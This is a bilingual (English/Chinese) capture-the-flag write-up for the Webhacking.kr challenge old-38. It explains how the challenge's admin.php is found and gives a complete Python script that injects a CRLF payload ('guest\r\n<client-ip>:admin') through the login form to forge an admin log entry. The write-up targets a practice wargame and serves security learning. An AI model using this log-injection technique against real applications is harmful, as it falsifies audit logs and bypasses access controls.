Webhacking.kr old-38

Challenge

Inject an admin log entry through the login form.

通过登录表单注入 admin 日志记录。

1
https://webhacking.kr/challenge/bonus-9/

Analysis

页面源码注释暴露了 admin.php。提交 id 后,日志查看器会记录客户端地址和输入值,并要求日志行中的身份为 admin。表单输入不能直接携带换行,但 POST body 可以传递 CRLF 序列。将 CRLF 写入 id 后,日志解析器会把后续内容视为新行。

Solution

以下完整脚本在 id 中插入 CRLF,并随后读取题目提供的 admin.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
import argparse

import requests

def main() -> None:
parser = argparse.ArgumentParser(description="Test the old-38 CRLF log payload")
parser.add_argument("--client-ip", required=True)
parser.add_argument("--base", default="https://webhacking.kr")
args = parser.parse_args()

session = requests.Session()
login_url = args.base.rstrip("/") + "/challenge/bonus-9/"
admin_url = login_url + "admin.php"
forged_line = f"guest\r\n{args.client_ip}:admin"

response = session.post(login_url, data={"id": forged_line}, timeout=20)
response.raise_for_status()
print(f"login: {response.status_code} {len(response.content)} bytes")

admin_response = session.get(admin_url, timeout=20)
admin_response.raise_for_status()
print(admin_response.text)

if __name__ == "__main__":
main()

原始 payload 的字面结构为:

1
guest\r\n<client-ip>:admin

<client-ip> 必须替换为当前题目页面显示的客户端地址,不能使用任意地址。admin.php 应在日志地址与当前客户端地址匹配时返回题目结果。

CRLF 可以插入日志行;admin.php 只在日志地址与当前客户端地址匹配时返回结果。